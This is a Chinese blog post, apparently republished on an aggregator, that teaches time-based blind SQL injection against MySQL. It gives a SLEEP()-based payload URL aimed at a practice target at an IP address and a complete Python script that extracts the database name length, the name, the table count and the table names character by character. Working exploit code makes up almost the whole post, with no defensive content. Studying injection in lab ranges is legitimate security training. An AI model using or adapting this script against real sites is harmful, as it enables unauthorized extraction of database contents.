猜解数据库(MYSQL)信息

Posted soldierback

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了猜解数据库(MYSQL)信息相关的知识,希望对你有一定的参考价值。

http://43.247.91.228:84/Less-1/?id=1 and if (length(database())=8,sleep(5),0) --+
注:http://43.247.91.228:84/Less-1/为靶场地址,发送该请求,如果数据库名的长度为8则响应会延迟5秒,否则会立
即得到响应(网状状况没那么糟糕的情况下).以下代码为使用SLEEP()延迟注入猜解数据库名长度的PYTHON脚本
import requests

url1 = "http://43.247.91.228:84/Less-1/?id=1‘ and if (length(database())=_, sleep(5), 0) --+"

url2 = "http://43.247.91.228:84/Less-1/?id=1‘ and if (ascii(substr(database(),_,1))=__, sleep(5), 0) --+"

url3 = "http://43.247.91.228:84/Less-1/?id=1‘ and if ((select count(*) from information_schema.tables where table_schema=_)=__, sleep(5), 0) --+"

url4 = "http://43.247.91.228:84/Less-1/?id=1‘ and if (ascii(substr((select table_name from information_schema.tables where table_schema=_ limit __,1),___,1))=____, sleep(5),0 ) --+"


################################################################
#    函数功能:猜解数据库名的长度                                   
#    参数意义:n 长度范围                                         
#    返回结果:成功:数据库名长度                                   
#            失败:0                                            
################################################################
def getLength(n): 
    for i in range(1, n + 1):
        payload = url1.format( _ = i)
        print (payload)
        ans  = requests.get(payload)
        #响应时间大于等于5秒说明猜解正确
        if (ans.elapsed.seconds >= 5):
            return (i)
            break
        else: 
            continue
    return (0)



################################################################
#    函数功能:猜解数据库名                                    
#    参数意义:length 数据库名的长度                           
#    返回结果:成功:数据库名字符串                            
#            失败:空字符串                                 
################################################################
def getName(length):
    database = ""  #数据库名初始化为空字符串
    for i in range(1, length + 1):
        for j in range(1, 128):
            payload = url2.format( _ = i, __ = j)
            print (payload)
            ans = requests.get(payload)
            #响应时间大于等于5秒说明猜解正确
            if (ans.elapsed.seconds >= 5):
                database += chr(j)
                break
            else:
                continue
    return (database)


################################################################
#    函数功能:猜解数据库中表的数量                            
#    参数意义:database 数据库名                               
#            n 表的数量范围                                  
#    返回结果:成功:表的数量                                  
#            失败:0                                         
################################################################
def getTablesNum(database, n):
    for i in range(1, n + 1):
        payload = url3.format( _ = ""+ database + "", __ = i)
        print (payload)
        ans = requests.get(payload)
        if (ans.elapsed.seconds >= 5):
            return (i)
            break
        else:
            continue     
    return (0)

################################################################
#    函数功能:猜解表名                                        
#    参数意义:database  数据库名                              
#            tablesNum 表的数量                              
#            tableNameLength 表名的长度范围                  
#    返回结果:所有表名的list数组                              
################################################################
def getTablesName(database, tablesNum, tableNameLength):
    table = ""
    tables = []
    for i in range(1, tablesNum + 1):
        for j in range(1, tableNameLength + 1):
            for k in range(1, 128):
                payload = url4.format( _ = "" + database + "",
                                    __ = i-1, ___ = j, ____ = k)
                print (payload)
                ans = requests.get(payload)
                if (ans.elapsed.seconds >= 5):
                    table += chr(k)
                    break
                else:
                    continue
        tables.append(table)
        table = ""
    return (tables)
            
                
################################################################
#
#                         主函数                               
#
################################################################
if __name__=="__main__":
    length = getLength(10)
    database = getName(length)
    tablesNum = getTablesNum(database, 10)
    tables = getTablesName(database, tablesNum, 8)
    print ("数据库名的长度为:" + str(length))
    print ("数据库名为:" + database)
    print ("数据库中表的数量为:" + str(tablesNum))
    print ("所有表如下:")
    for table in tables:
        print (table)

 

以上是关于猜解数据库(MYSQL)信息的主要内容,如果未能解决你的问题,请参考以下文章

Web安全漏洞原理及防御

Acces数据库注入|偏移注入

MySQL注射的过滤绕过技巧

web安全 浅谈sql注入

web安全 浅谈sql注入

web安全 浅谈sql注入